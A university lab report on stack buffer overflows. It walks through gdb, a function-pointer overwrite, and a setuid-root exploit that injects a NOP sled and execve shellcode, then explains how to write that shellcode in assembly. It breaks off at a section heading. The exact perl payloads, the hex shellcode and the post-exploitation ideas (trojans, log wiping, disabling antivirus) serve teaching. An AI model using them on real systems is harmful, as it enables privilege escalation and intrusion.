Network security Project
Buffer Overflow

Samuele Andreoli
Nicolò Fornari
Giuseppe Vitto

May 11th, 2016

Abstract

In computer security a buffer overflow is an anomaly where a program, while writing data to a buffer, overruns the buffer's boundary and overwrites adjacent memory locations. This is a special case of the violation of memory safety.

Buffer overflows can be triggered by inputs that are designed to execute code, or alter the way the program operates. This may result in erratic program behavior, including memory access errors, incorrect results, a crash, or a breach of system security. Thus, they are the basis of many software vulnerabilities and can be maliciously exploited. 1

Buffer overflow is a complex and broad topic which requires a solid background in memory management and code execution (registers,jumps,interrupts,stack frames etc.) to be understood.
In this project we try to give a taste of buffer overflow with the constraint of two hours time of laboratory.

Introduction

We chose an open source approach for our laboratory: we wrote three simple programs in C, every student can understand what each program does, see where the vulnerability is in the source code, compile it and eventually exploit it.

Report layout

In Section 1 we describe all the technical details of our working environment (Virtual machine, gcc compiling options etc.) In Section 3 we briefly explain how the memory works. We try to make this theory lecture as interactive as possible by introducing *gdb*, which will be fundamental for the rest of the lab [1].

In Section 4 we present a first buffer overflow that allows the user to access a function which is not intended to be invoked. In order to introduce concepts bit by bit we wrote the code so that

[1]The choice of gdb is natural as we are working in a Linux environment as described in Section 1. Moreover we find that it is easier (teaching-wise) to write commands than pushing buttons

the value of a function pointer is overwritten and not the return address. Moreover a couple of addresses are printed out as a hint (avoiding disassembling which may result too complicated).

In Section 5 we finally present a buffer overflow with shellcode injection and NOP sled. The main reference for this part is the ground-breaking article *Smashing The Stack For Fun And Profit* by Aleph One 2.

In Section 6 we explain in detail how to write a shellcode and a bit of theoretical background. In Section 7 we discuss briefly how to fix buffer overflow vulnerabilities in the code.

1 Workspace environment

We chose to work with a virtual machine for the following reasons: first of all a 32-bit architecture was needed to make life easier, second we worked in the same environment the students would have used, thus everytime an issue was met we could fix it before the lab.

1.1 Technical details

· Virtual Machine SW: Virtual Box[2]

· Guest OS: Ubuntu Mate 15.10

· Kernel: 4.2.0-16-generic

· Gcc compile options: -fno-stack-protector -z execstack -ggdb

· Gdb 7.10

2 Theory

Memory is just bytes of temporary storage space that are numbered with addresses. This memory can be accessed by its addresses, and the byte at any particular address can be read from or written to.

2.1 Pointers

Pointers are a special type of variable used to store addresses of memory locations to reference other information. Because memory cannot actually be moved, the information in it must be copied. However, it can be computationally expensive to copy large chunks of memory around to be used by different functions or in different places.A new block of memory must be allocated for the copy destination before the source can be copied. Pointers are a solution to this problem. Instead of copying the large block of memory around, a pointer variable is assigned the address of that large memory block. Then this small 4-byte pointer can then be passed around to the various functions that need to access the large memory block.

[2]As we used different versions of Virtual Box during our tests we do not report a specific one. However it is interesting to note that the laptops available in the lab had the network and usb interface disabled (for security purposes). This setting caused our virtual machine to change memory addresses at each reboot. Luckily the fix for this annoying behaviour was simply disable the network and usb virtual interface for the guest machine as well as the host one.

The processor has its own special memory, which is relatively small. These portions of memory are called registers,and there are some special registers,one of the most notable is the EIP (extended instruction pointer).
The EIP is a pointer that holds the address of the currently executing instruction. Other 32-bit registers that are used as pointers are the extended base pointer (EBP) and the extended stack pointer (ESP). These registers will be better explained in the following sections.

2.2 Memory declaration

When programming in a high-level language, like C, variables are declared using a data type. These data types can range from integers to characters to custom user-defined structures. One reason this is necessary is to properly allocate space for each variable.

In addition, variables can be declared in *arrays*. An array is just a list of N elements of a specific data type. So a 10-character array is simply 10 adjacent characters located in memory. An array is also referred to as a *buffer*, and a character array is also referred to as a *string*.

One important detail of memory on x86 processors is the byte order of 4-byte words. The ordering is known as *little endian*, meaning that the least significant byte is first.

For any string a zero, or null byte, delimiter is used to terminate it and tell any function that is dealing with the string to stop operations there.

2.3 Program memory segmentation

Program memory is divided into five segments: text, data, bss, heap, and stack. Each segment represents a special portion of memory that is set aside for a certain purpose. As a program executes, the EIP is set to the first instruction in the text segment. The processor then follows an execution loop that does the following:

i) Read the instruction that EIP is pointing to.

ii) Add the byte-length of the instruction to EIP.

iii) Execute the instruction that was read in step 1.

iv) Go to step 1

Write permission is disabled in the text segment, as it is not used to store variables, only code. This prevents people from actually modifying the program code, and any attempt to write to this segment of memory will cause the program to alert the user that something bad happened and kill the program. Another advantage of this segment being read-only is that it can be shared between different copies of the program, allowing multiple executions of the program at the same time without any problems. It should also be noted that this memory segment has a fixed size, because nothing ever changes in it.

The *data* and *bss* segments are used to store global and static program variables. The data segment is filled with the initialized global variables, strings, and other constants that are used through the program. The bss segment is filled with the uninitialized counterparts. Although these segments are writable, they also have a fixed size.

The *heap* segment is used for the rest of the program variables. One notable point about the heap segment is that it is not of fixed size, meaning it can grow larger or smaller as needed.

The *stack* segment also has variable size and is used as a temporary scratchpad to store context during function calls. When a program calls a function, that function will have its own set of passed variables, and the function's code will be at a different memory location in the text (or code) segment. Because the context and the EIP must change when a function is called, the stack is used to remember all of the passed variables and where the EIP should return to after the function is finished.

As the name implies, the stack segment of memory is, in fact, a stack data structure. When an item is placed into a stack, it is known as *pushing*, and when an item is removed from a stack, it is called *popping*. The ESP register is used to keep track of the address of the end of the stack, which is constantly changing as items are pushed into and popped from it. Because this is very dynamic behavior, it makes sense that the stack is also not of a fixed size. Opposite to the growth of the heap, as the stack changes in size, it grows upward toward lower memory addresses.

Remark 1. *The EBP register is sometimes called the* frame pointer *FP or* local base pointer *LB. The EBP is used to reference variables in the current stack frame.*

Each stack frame contains the parameters to the function, its local variables, and two pointers that are necessary to put things back the way they were: the *saved frame pointer* SFP and the *return address*. The stack frame pointer is used to restore EBP to its previous value, and the return address is used to restore EIP to the next instruction found after the function call.

3 The Lab: an introduction to gdb

3.1 The code

```
#include <stdio.h>

void function (int a, int b, int c){

    char buffer1[4] = {'A','B','C','D'};
    int  buffer2[2] = { 1 , 2 };
}

void main(){
    function(1,2,3);
}
```

This C program performs a set of simple instructions:

i) *main* calls *function* with arguments 1, 2, 3;

ii) *function* creates a buffer of 4 char and fills it with A, B, C, D;

iii) *function* creates a buffer of 2 integers and fills it with 1, 2;

iv) *function* terminates;

v) *main* terminates.

We start the lab with a simple C program. Despite having a straightforward behaviour this program may not be clear down at machine level. The goal of this fist exercise is to understand what happens in memory when a function is called, focusing on how the program stores the data it uses. Throughout the lab we will need a fundamental tool: GDB, the *GNU Project debugger*. Using GDB, we can:

· run a program, specifying its inputs;

· pause the execution in specified points;

· examine registers and memory during execution;

· disassemble functions.

3.2 GDB customization

We defined a custom command *cx* which displays all the values in memory between two registers, specifically to see the content between ESP and EBP.

```
define cx
        set $start = $arg0
        set $end = $arg1
        while ($start <= $end)
                x/wx $start
                set $start = $start+4
        end
end
```

3.3 Disassembling

First of all we set the current directory to **ex1** and we start *gbd* giving as input the binary of the first exercise:

```
bo@lab:~$ cd ex1
bo@lab:~/ex1$ gdb ex1
```

After a bunch of text, we are ready to execute some instructions. But what will we do now?
To exploit buffer overflows we need to know how and where data is stored in memory and, of course, some luck.
Usually you do not know the source code, and the only way to figure out these informations is through **disassembling**.

When we disassemble a program we read the machine instructions performed on the data: these instructions are mainly basic operations such as additions, subtractions, moving and pushing of data on stack and system calls.
We start disassembling *main* :

```
(gdb) disassemble  main
Dump of assembler code for function main:               _
   0x08048412 <+0>:     push   %ebp                      | Prologue
   0x08048413 <+1>:     mov    %esp,%ebp                _|
   0x08048415 <+3>:     push   $0x3                      | Push function's
   0x08048417 <+5>:     push   $0x2                      | inputs onto the
   0x08048419 <+7>:     push   $0x1                     _| stack
   0x0804841b <+9>:     call   0x80483eb <function>     _| Call function
   0x08048420 <+14>:    add    $0xc,%esp                _| Stack freeing
   0x08048423 <+17>:    nop                              |
   0x08048424 <+18>:    leave                            | Return
   0x08048425 <+19>:    ret                             _|
End of assembler dump.
```

and we go on disassembling *function*:

```
(gdb) disassemble function
Dump of assembler code for function function:     _
   0x080483eb <+0>:     push   %ebp                | Prologue
   0x080483ec <+1>:     mov    %esp,%ebp          _|
   0x080483ee <+3>:     sub    $0x10,%esp         _| Allocates variables
   0x080483f1 <+6>:     movb   $0x41,-0x4(%ebp)    |
   0x080483f5 <+10>:    movb   $0x42,-0x3(%ebp)    | Fills buffer1
   0x080483f9 <+14>:    movb   $0x43,-0x2(%ebp)    |
   0x080483fd <+18>:    movb   $0x44,-0x1(%ebp)   _|
   0x08048401 <+22>:    movl   $0x1,-0xc(%ebp)     | Fills buffer2
   0x08048408 <+29>:    movl   $0x2,-0x8(%ebp)    _|
   0x0804840f <+36>:    nop                        |
   0x08048410 <+37>:    leave                      | Return
   0x08048411 <+38>:    ret                       _|
End of assembler dump.
```

3.4 Breakpoints and execution

From these instructions we can see that *function* allocates and fills *buffer2* and *buffer1*, for a total of 12 bytes[3], using a mysterious (for now) reference point called *%ebp*.

Using *gdb* and **breakpoints** we will stop the execution of *ex1* when *function* is called. Then we will proceed executing an instruction at time and looking into memory to see if the buffers are filled with the value that we expect.
Let's start setting a breakpoint at *function*:

```
(gdb) break function
Breakpoint 1 at 0x80483f1: file ex1.c, line 5.
```

Running *ex1* with the *run* command, *gdb* will stop the execution when *function* is called

```
(gdb) run
Starting program: /home/bo/ex1/ex1

Breakpoint 1, function (a=1, b=2, c=3) at ex1.c:5
5           char buffer1[4] = {'A','B','C','D'};
```

[3]In our system integers are 4 bytes long and chars, as usual, 1 byte long.

3.5 Registers

Since the execution is now frozen, we can examine what are the values stored in **registers** using the *info registers* command:

```
(gdb) info registers
eax            0xb7fc10a0       -1208217440
ecx            0x5ec44e3c       1589923388
edx            0xbffff1f4       -1073745420
ebx            0xb7fbf000       -1208225792
esp            0xbffff1a4       0xbffff1a4
ebp            0xbffff1b4       0xbffff1b4
esi            0x0      0
edi            0x80482f0        134513392
eip            0x80483f1        0x80483f1 <function+6>
 ⋮                      ⋮                      ⋮
```

Registers are memory cells, where specific informations required for the current execution are stored. The four registers **EAX**, **ECX**, **EDX**, **EBX** are used to store temporary data, while the others are used to manage execution flow and memory usage. We are interested in the three highlighted registers:

· **ESP**, or *Extended Stack Pointer*, points to the current top of the stack.

· **EBP**, or *Extended Base Pointer*, points to the EBP of the calling function.

· **EIP**, or *Extended Instruction Pointer*, points to the location of the next instruction to execute[4]

[4]In our scenario EBP points to the *main's* EBP and *EIP* points to the instruction which, in the disassembled of *function*, corresponds to writing an "A" in *buffer1*.

3.6 Stack frame

ESP and EBP are great points of reference when examining memory: they enclose local variables, after EBP there is the Return Address and 8 bytes after EBP we find the inputs given to the called function.
We can then sketch how the stack frame of our *function* looks:

```
  TOP        ------------------------              _
            |  Current Stack's TOP   | <-- ESP     |
            |------------------------|             |
            |    Local variables     |             |
M  |  G     |      of function       |             |
E  |  R     |------------------------|             | function's
M  |  O     |       EBP of main      | <-- EBP     | stack frame
O  |  W     |------------------------|             |
R  |  T     |     Return address     |             |
Y  V  H     |------------------------|             |
            |    function's input    |             |
            |------------------------|            _|

 BOTTOM     ⋮   main's stack frame   ⋮
```

3.7 Memory

Using the *cx*[5] command we can visualize the value stored between *ESP* and *EBP* :

```
(gdb) cx $esp $ebp           _
0xbffff1a4:     0xbffff264   _| esp
0xbffff1a8:     0xbffff26c    | buffer2
0xbffff1ac:     0x08048453   _|
0xbffff1b0:     0xb7fbf41c   _| buffer1
0xbffff1b4:     0xbffff1c8   _| ebp
```

Now in *buffer1* and in *buffer2* there are just random values from previous usage of this memory.
If we proceed executing the next instruction and looking again in this interval

```
(gdb) nexti
0x080483f5      5           char buffer1[4] = 'A','B','C','D';
(gdb) cx $esp $ebp           _
0xbffff1a4:     0xbffff264   _| esp
0xbffff1a8:     0xbffff26c    | buffer2
0xbffff1ac:     0x08048453   _|
0xbffff1b0:     0xb7fbf441   _| buffer1
0xbffff1b4:     0xbffff1c8   _| ebp
```

[5]This is a custom command. You won't find it in the wild.

we see that the ASCII value of 'A', that is 0x41[6] , is stored using *little-endian* order (that is from right to the left) in *buffer1*.
Executing multiple times *nexti* and *cx* in the same way, we will completely fill the buffers:

```
(gdb) nexti
8       }
(gdb) cx $esp $ebp            _
0xbffff1a4:     0xbffff264   _| esp
0xbffff1a8:     0x00000001    | buffer2
0xbffff1ac:     0x00000002   _|
0xbffff1b0:     0x44434241   _| buffer1
0xbffff1b4:     0xbffff1c8   _| ebp
```

Now we can continue the normal execution of *ex1* with the *continue* command and then exit from *gdb* using *quit* :

```
(gdb) continue
Continuing.
[Inferior 1 (process 3646) exited with code 0240]
(gdb) quit
```

[6] The ASCII value of 'B', 'C', 'D' are respectively 0x42, 0x43, 0x44

4 Toward buffer overflow

4.1 The code

```
#include <stdio.h>
#include <string.h>

void good() {
        puts("Win!");
}

void bad() {
        printf("You're at %p and you want to be at %p\n", bad, good);
}

void main(int argc, char **argv) {

        void (*functionpointer)(void) = bad;
        char buffer[128];

        strcpy(buffer, argv[1]);

        printf("We're going to %p\n", functionpointer);

        functionpointer();

        return;
}
```

In this exercise these instructions are performed:

- functions *good* and *bad* are created;
- *functionpointer*, that is a pointer to a function, is created and set to have the address of the function *bad*;
- a buffer of 128 bytes is created and is filled, through *strcpy*, with the value passed to *ex2*;
- the function pointed by *functionpointer* is called;
- the function pointed by *functionpointer* terminates;
- *main* terminates.

Remark 2. *Note that function good is not accessible during the normal execution of ex2: our goal is to access it overflowing buffer and overwriting the value of functionpointer with the address of good.*

Remark 3. *As hints, function bad prints the address of bad and good: it is just to speed up the lab, but it can be easily retrived them disassembling ex2.*

4.2 Execution and overflow

First of all we set the current directory to *ex2* and we test the executable with some random input, i.e. "AAAA":

```
bo@lab:~/ex1$ cd ../ex2
bo@lab:~/ex2$ ./ex2 AAAA
We're going to 0x8048494
You're at 0x8048494 and you want to be at 0x804847b
```

To avoid manually counting the number of characters we pass to *ex2* we can use a *perl* command to write how many 'A's we want just specifying their number:

```
bo@lab:~/ex2$ ./ex2 $(perl -e 'print "A"x20')
We're going to 0x8048494
You're at 0x8048494 and you want to be at 0x804847b
```

If we try to pass too many 'A's, we get a Segmentation fault :

```
bo@lab:~/ex2$ ./ex2 $(perl -e 'print "A"x150')
We're going to 0x41414141
Segmentation fault (core dumped)
```

Indeed we overflowed the buffer, corrupting the current stack frame!

Notice that in this example the value of *functionpointer* is '0x41414141', that corresponds to the ASCII value of 4 'A's: some of the 'A's we passed to *ex2* overwrited the value of *functionpointer* with the value "AAAA".

4.3 Memory sketch

Our goal is to assign to *functionpointer* the value '0x804847b', that is the address of *good.* How do we do it? From the source code we know that in memory *functionpointer* is allocated right after *buffer*, which has length of 128 bytes.

```
              buffer       fp
          \____ ... ____/\_____/
           ---> 128 --->  - 4 -

      -->: Filling direction of buffer
```

In order to achieve our goal, we have to pass to *ex2* 128 'A's to completely fill the buffer plus 4 byes to overwrite the value of *functionpointer* to '0x804847b' .

Remember that, in our system, bytes are stored in *little-endian*, that is byte by byte from right to the left. If we want that *functionpointer* stores the value "0x804847b" we have to pass, in this order, the four bytes 'x7b', 'x84', 'x04', 'x08'.

In *perl* is quite easy to write bytes: you only need to write a \ just before its hex value and treat is as a char. Then our address becomes the string **"\x7b\x84\x04\x08"** that we will attach at the end of 128 'A's using the string concatenation operator ' . '

4.4 Exploitation

Everything is now ready to launch our attack:

```
bo@lab:~/ex2$ ./ex2 $(perl -e 'print "A"x128 . "\x7b\x84\x04\x08"')
We're going to 0x804847b
Win!
```

The attack worked out! Of course we just printed "Win!", anyhow it is a proof of concept, it is just an example of how, with a buffer overflow, we can access *something* that was originally designed to be not accessible to us.

5 Buffer overflow with shellcode

5.1 The code

```
#include <stdio.h>
#include <string.h>

void function(char* input) {

    char buffer[128];

    strcpy(buffer, input);

    printf("Your input is: %s\n", buffer);

}

void main(int argc, char **argv) {

        function(argv[1]);

        return;
}
```

The code of this exercise is similar to the previous one:

- *main* calls *function*;
- a buffer of 128 bytes is created and is filled, through *strcpy*, with the value passed to *ex3*;
- the value of *buffer* is printed;
- *function* terminates;
- *main* terminates.

5.2 Making it challenging

We start setting the current directory to *ex3*.

```
bo@lab:~/ex2$ cd ../ex3
```

If we visualize all the file inside the current directory with the associated privileges through the *ls -l* command, we will notice that there is a file called *secret*:

```
bo@lab:~/ex3$ ls -l
total 20
-rwsr-xr-x 1 root root 8400 apr 26 15:21 ex3
-r--r--r-- 1 bo   bo    243 apr 26 15:14 ex3.c
-r--r----- 1 root root   99 apr 27 14:25 secret
```

Since we are *bo* and not *root*, the owner of *secret*, we cannot read it. Indeed if we try to visualize *secret* through the *cat* command we get:

```
bo@lab:~/ex3$ cat secret
cat: secret: Permission denied
```

We can also notice that the executable *ex3* has the *s* flag in its permissions: this means that every user that runs *ex3* runs it as if he is the *root* user.

If we are able to control the execution of *ex3* we can perform actions as if we were *root*.
The goal of this exercise is to read the content of *secret*.

The steps we will perform to achieve it are:

· fill *buffer* with machine instructions that spawn a *shell*;

· overflow *buffer* so that the return address of *function* is overwritten to point at the begin of these instructions, in this way when *function* terminates they will be executed;

· use the obtained shell, that will have *root* privileges thanks to the *s flag*, to read the content of *secret*.

5.3 Finding RET

First of all we have to spot how far from the begin of *buffer* the return address of *function* is: we want to know how many bytes we have to pass to *ex3* before overwriting the return address.
We already know that RET is at *$ebp+4*, so we need to know the value of *$ebp* in the stack frame of *function*.

We start loading *ex3* in *gdb* and setting a breakpoint just after *strncpy* fills *buffer* (line 9):

```
bo@lab:~/ex3$ gdb ex3
GNU gdb (Ubuntu 7.10-1ubuntu2) 7.10
...
Reading symbols from ex3...done.
(gdb) break 9
Breakpoint 3 at 0x8048469: file ex3.c, line 9.
```

Now we can run *ex3* with some input and see the values[7] of registers:

```
(gdb) run AAAA
Starting program: /home/bo/ex3/ex3 AAAA

Breakpoint 1, function (input=0xbffff41d "AAAA") at ex3.c:10
10          printf("Your input is: %s\n", buffer);
(gdb) info registers
eax            0xbffff100       -1073745664
ecx            0xbffff41d       -1073744867
edx            0xbffff100       -1073745664
ebx            0xb7fbf000       -1208225792
esp            0xbffff100       0xbffff100
ebp            0xbffff188       0xbffff188
 ⋮                      ⋮                       ⋮
```

The return address of *function* is at 0xbffff188+4, that is **0xbffff18c**.
At this point we can see where *buffer* starts using *cx* to visualize the memory between ESP and EBP:

```
(gdb) cx $esp $ebp
0xbffff100:     0x41414141
0xbffff104:     0xb7fffa00
0xbffff108:     0x00000001
     ⋮                   ⋮
```

Buffer starts at **0xbffff100**, that is **140 bytes** (= 0xbffff18c - 0xbffff100) before the return address of *function*.
This means that if we pass 144 bytes to *ex3* the last 4 bytes will become the overwritten return address of *function*.

5.4 Overwriting RET

We unset the previous breakpoint with the *delete* command followed by the number of the breakpoint we want to unset, and we verify what we found passing to *ex3* 139 'A's [8]

```
(gdb) delete 1
(gdb) r $(perl -e 'print "A"x139')
Starting program: /home/bo/ex3/ex3 $(perl -e 'print "A"x139')
Your input is: AAAAAAAAAAAAAAAAA ...

Program received signal SIGSEGV, Segmentation fault.
main (argc=<unavailable>, argv=<unavailable>) at ex3.c:19
19      }
```

[7]These values depend on your input. The offset between buffer and EBP remains constant.
[8]If we pass 'A's to *ex3*, we pass a string that ends with a null character: that is 139 'A's + '\x00' for a total of 140 bytes

We get a Segmentation Fault because we corrupt the EBP.
But if we pass 143 'A's

```
(gdb) r $(perl -e 'print "A"x143')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/bo/ex3/ex3 $(perl -e 'print "A"x143')
Your input is: AAAAAAAAAAAAAAAAA ...

Program received signal SIGSEGV, Segmentation fault.
0x00414141 in ?? ()
```

We see that *function* tries to return to the address 0x00414141, whose bytes are the last 4 bytes of *buffer*.

5.5 Shellcode and NOPs

For our goal, the last thing we need is the **shellcode**, that is the bytes instructions that, if executed, spawn a shell. Writing shellcodes is hard and we provide it to you to keep the flow of the lab. Note that in section 6 a detailed explanation of how to write a shellcode is provided.

```
\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb
\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89
\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd
\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f
\x73\x68\x4e\x58\x58\x58\x58\x59\x59\x59\x59
```

It is **55 bytes long** and we stored it in the *environmental variable* **$SHELLCODE**, so that you do not need to copy paste it. Later we will see how to use it with *perl*.

The shellcode is 55 bytes long, but we need 140 bytes to reach the return address of *function*. We cannot fill the remaining 85 bytes with characters because we want something that could be executed but that does not affect the execution of our shellcode.

We use the 1 byte instruction NOP - *No Operation* that simply does nothing and jumps to the next instruction. A NOP is represented with the byte instruction **\x90**.

5.6 Building the attack vector

Our 144 bytes attack vector will look like:

```
       -------------------------
      |                         |
      V                         |
\x90 ... \x90   SHELLCODE      RET
\_____________/\___________/\_________/
     85            55           4

        buffer             overflow
\______________________/---------------
         128
```

where the RET address that we overwrite will point to some address in the first 85 NOP bytes of *buffer*. Since the address of *buffer* depends on the input we pass, for now, we overwrite the return address with the value 0x90909090.

To print in *perl* the environmental variable *SHELLCODE* we will use the command **$ENV{'SHELLCODE'}** in the *print* command:

```
(gdb) r $(perl -e 'print "\x90"x85 . $ENV{'SHELLCODE'} . "\x90\x90\x90\x90"')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/bo/ex3/ex3 $(perl -e 'print "\x90"x85 ....
Your input is: ??????????????????????1??F1?1
                                          ??S
                                             ?????/bin/shNXXXXYYYY????

Program received signal SIGSEGV, Segmentation fault.
0x90909090 in ?? ()
```

The EBP is now corrupted so we cannot look between ESP and EBP to see where *buffer* starts. The only solution is to visualize, using the *x* command, lots of bytes (in this case 200) starting from the top of the stack.

```
(gdb) x/200x $esp
                                        ...
0xbffff330:     0x00000000      0x00000000      0x00000000      0x682f0000
0xbffff340:     0x2f656d6f      0x652f6f62      0x652f3378      0x90003378
0xbffff350:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffff360:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffff370:     0x90909090      0x90909090      0x90909090      0x90909090
```

Buffer starts at 0xbffff34f and we can choose as return address one address between this value and 0xbffff3a3 (= 0xbffff34f+84). We choose an address that is not too far from the start of the shellcode in order to not execute too many NOP that could stop, by some protection mechanisms, the execution of *ex3*.

5.7 Exploitation

We choose as return address 0xbffff390 that in *little-endian* becomes \x90\xf3\xff\xbf. We quit *gdb* and we test our attack vector on *ex3*:

```
(gdb) quit
bo@lab:~/ex3$ ./ex3 $(perl -e 'print "\x90"x85 . $ENV{'SHELLCODE'} . "\x90\xf3\xff\xbf"')
Your input is: ??????????????????????1??F1?1
                                      ??S
                                         ?????/bin/shNXXXXYYYY????
#
```

The # means that we have a shell with *root* privileges waiting for our commands! We can be sure of it with the *whoami* command. Finally can we discover the secret!

```
# whoami
root
# cat secret
```

6 Shellcoding

A shellcode is a short piece of code used as a payload during the exploitation of a software vulnerability. It is called shellcode as tipically it spawns a shell such as the '/bin/sh' for Unix/Linux shell, or the command.com shell on DOS and Microsoft Windows. Shellcodes are generally written in assembly language and then converted into machine instructions that can be directly executed during exploitation.
Shellcodes are typically injected into computer memory by exploiting stack or heap-based buffer overflows vulnerabilities, or format string attacks. In a classic and normal exploits, shellcode execution can be triggered by overwriting a stack return address with the address of the injected shellcode. As a result, instead the subroutine returns to the caller, it returns to the shellcode, executing a shell. 5

Remark 4. *There are tons of repositories all around the internet for shellcodes. Namely, the* Metasploit project *seems to be the best. However when the available exploits do not work the only way left for the penetration tester is to write its own.*

6.1 Linux vs Windows shellcoding

Linux, unlike Windows, provides a direct way to interface with the kernel through the int 0x80 interface. Windows on the other hand, does not have a direct kernel interface. The system must be interfaced by loading the address of the function that needs to be executed from a DLL (Dynamic Link Library). The key difference between the two is the fact that the address of the functions found in Windows will vary from OS version to OS version while the int 0x80 syscall numbers will remain constant. Windows programmers did this so that they could make any change needed to the kernel without any hassle; Linux on the contrary has fixed numbering system for all kernel level functions, and if they were to change, there would be a million angry programmers (and a lot of broken code). 3

Remark 5. *As stated in Section 1 we have worked in a Linux environment thus the scope of our shellcoding explanation is limited to the Linux operating system.*

6.2 Exploitation techniques

In a wider definition, a shellcode is not limited in spawning a shell, it also can be used to create a general payload.[9] Generally an exploit usually consists of two major components: the *exploitation technique* and the *payload*. The objective of the exploitation part is to divert the execution path of the vulnerable program. This can be achieved through one of the following techniques:

· Stack or Heap based Buffer Overflow

· Integer Overflow

· Format String

· Race condition

· Memory corruption, etc.

[9]A different attack vector for a shellcode is given by string format vulnerability. We briefly mention it in 7.

Once we control the execution path, we probably want it to execute our code. In this case, we need to include these codes or instruction sets in our exploit. Then, the part of code which allows us to execute arbitrary code is known as payload. The payload can virtually do everything a computer program can do with the appropriate permission and right of the vulnerable programs or services.

6.3 Shellcode as a payload

When the shell is spawned, it may be the simplest way that allows the attacker to explore the target system interactively. For example, it might give the attacker the ability to discover internal network, to further penetrate into other computers. A shell may also allow upload/download file/database, which is usually needed as proof of successful penetration test. You also may easily install Trojan horse, key logger, sniffer, enterprise worm, WinVNC, etc. A shell is also useful to restart the vulnerable services keeping the service running. But more importantly, restarting the vulnerable service usually allows us to attack the service again. We also may clean up traces like log files and events with a shell. For Windows we may alter the registry to make it running for every system start up and stopping any antivirus programs.

You also can create a payload that loops and wait for commands from the attacker. The attacker could issue a command to the payload to create new connection, upload/download file or spawn another shell. There are also a few others payload strategies in which the payload will loop and wait for additional payload from the attacker such as in multistage exploits and the (Distributed) Denial of Service (DDOS/DOS). Regardless whether a payload is spawning a shell or loop to wait for instructions; it still needs to communicate with the attacker, locally or remotely. There are so many things that can be done. More examples in 6.

6.4 Shellcode elements

This section will limit the discussion of the payload used to exploit stack based buffer overflows in binary, machine-readable program. In this program, the shellcode must also be machine-readable. The shellcode cannot contain any null bytes (0x00). Null ('\\0') is a string delimiter which instructs all C string functions (and other similar implementations), once found, to stop processing the string (a null-terminated string). Depending on the platform used, not just the NULL byte, there are other delimiters such as linefeed (LF-0x0A), carriage return (CR-0x0D), backslash (\) and NOP (No Operation) instruction that must also be considered when creating a workable shellcode. In the best situations the shellcode may only contain alphanumeric characters. Fortunately, there are several programs called Encoder that can be used to eliminate the NULL and other delimiter characters.

In order to be able to generate machine code that really works, you have to write the assembly code differently, but still have it serve its purpose. You need to do some tricks here and there to produce the same result as the optimal machine code.

Since it is important that the shellcode should be as small as possible, the shellcode writer usually writes the code in the assembly language, then extracting the machine instructions in the hexadecimal format and finally using the code in a program as string variables. Reliable libraries are not available for shellcodes; we usually have to use the kernel syscalls (system call) of the operating system directly. Shellcode also is OS and architecture dependent. Workable shellcode also must consider bypassing the network system protection such as firewall and IDS.

6.5 Writing portable code

Writing shellcode is slightly different from writing normal assembly code and the main one is the portability issue. Since we do not know which address we are at, it is not possible to access our data and even more impossible to hardcode a memory address directly in our program. We have to apply a trick to be able to make shellcode without having to reference the arguments in memory the conventional way, by giving their exact address on the memory page, which can only be done at compile time. Although this is a significant disadvantage, there are always workarounds for this issue. The easiest way is to use a string or data in the shellcode as shown in the following simple example.

```
    .section .data

    .section .text

    .globl _start

    jmp      dummy

    _start:
             #pop register, so we know the string location
             #Here we have assembly instructions which will use the string

    dummy:
             call     _start

    .string "Simple String"
```

What is occurring in this code is that we jmp to the label *dummy* and then from there call *_start* label. Once we are at the *_start* label, we can pop a register which will cause that register to contain the location of our string. CALL is used because it will automatically store the return address on the stack. The return address is the address of the next 4 bytes after the CALL instruction. By placing a variable right behind the call, we indirectly push its address on the stack without having to know it. This is a very useful trick when we do not know where our code will be executed from. The code arrangement example using C can be illustrated as the following.

```
    void main(int argc, char **argv)    {

       char *name[2];

       name[0] = "/bin/sh";
       name[1] = NULL;

       /*int execve(char *file, char *argv[], char *env[ ])*/
       execve(name[0], name, NULL);
       exit(0);
    }
```

Registers usage:

- EAX: 0xb - syscall number.
- EBX: Address of program name (address of name[0]).
- ECX: Address of null-terminated argument-vector, argv (address of name).
- EDX: Address of null-terminated environment-vector, env/enp (NULL).

In this program we need:

- String /bin/sh somewhere in memory.
- An Address of the string.
- String /bin/sh followed by a NULL somewhere in memory.
- An Address of address of string.
- NULL somewhere in memory.

To determine address of string we can make use of instructions using relative addressing. We know that call instruction saves EIP on the stack and jumps to the function so:

i) Use jmp instruction at the beginning of shell code to CALL instruction.

ii) Call instruction right before /bin/sh string.

iii) Call jumps back to the first instruction after jump.

iv) Now the address of /bin/sh should be on the stack.

```
      ----------------
 __1| JMP dummy     |
|    |---------------|
|    | popl %esi     |4__
|    |---------------|   |
|    | Exploit code  |   |
|    | goes here     |   |
|    |---------------|   |
|__2| dummy:        |3__|
     | CALL dummy +1 |
     |---------------|
     | /bin/sh000000 |
      ---------------
```

If you are going to write code more complex than just spawning a simple shell, you can put more than one .string behind the CALL. Here, you know the size of those strings and can therefore calculate their relative locations once you know where the first string is located. With this knowledge, let's try creating a simple shellcode that spawn a shell. The main points here are the similar process and steps that can be followed to create shellcodes. The following is a simple program example to spawn a shell in assembly.

```
.section .data
.section .text
.globl _start

_start:
         xor %eax, %eax             #clear register
         mov $70, %al               #setreuid is syscall 70
         xor %ebx, %ebx             #clear register, empty
         xor %ecx, %ecx             #clear register, empty
         int $0x80                  #interrupt 0x80
         jmp ender

starter:
         popl %ebx                  #get the address of the string, in %ebx
         xor  %eax, %eax            #clear register
         mov  %al, 0x07(%ebx)       #put a NULL where the N is in the string
         movl %ebx, 0x08(%ebx)      #put the address of the string to where XXXX is
         movl %eax, 0x0c(%ebx)      #put 4 null bytes into where the YYYY is
         mov $11, %al               #execve is syscall 11
         lea 0x08(%ebx), %ecx       #load the address of where the XXXX was
         lea 0x0c(%ebx), %edx       #load the address of the NULLS
         int $0x80                  #call the kernel

ender:
         call starter
       .string "/bin/shNXXXXYYYY" #16 bytes of string...
```

Basically, before the call starter the memory arrangement should be something like this (Little Endian):

...	...	...	...
Y	Y	Y	Y
X	X	X	X
N	h	s	/
n	i	b	/
...	...	...	...

6.6 Assemble, link and extract

